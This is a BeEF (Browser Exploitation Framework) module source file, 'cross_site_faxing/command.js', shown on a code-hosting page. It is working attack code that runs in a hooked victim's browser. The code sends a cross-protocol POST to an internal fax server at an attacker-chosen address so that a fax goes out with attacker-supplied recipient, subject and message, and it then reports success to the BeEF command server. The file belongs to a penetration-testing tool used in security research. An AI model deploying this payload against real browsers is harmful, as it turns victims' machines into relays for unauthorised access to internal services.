Path: blob/master/modules/ipec/cross_site_faxing/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var target_ip = "<%= @ip %>";9var target_port = "<%= @port %>";10var recname = "<%= @recname %>";11var recfax = "<%= @recfax %>";12var subject = "<%= @subject %>";13var msg = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>";1415var uri = "http://"+target_ip+":"+target_port+"/";16var post_body = "@F201 "+recname+"@@F211 "+recfax+"@@F307 "+subject+"@@F301 1@\n"+msg;1718var xhr = new XMLHttpRequest();1920xhr.open("POST", uri, true);21xhr.setRequestHeader("Content-Type", "text/plain");22xhr.send(post_body);23setTimeout(function(){xhr.abort()}, 2000);24beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');2526});27282930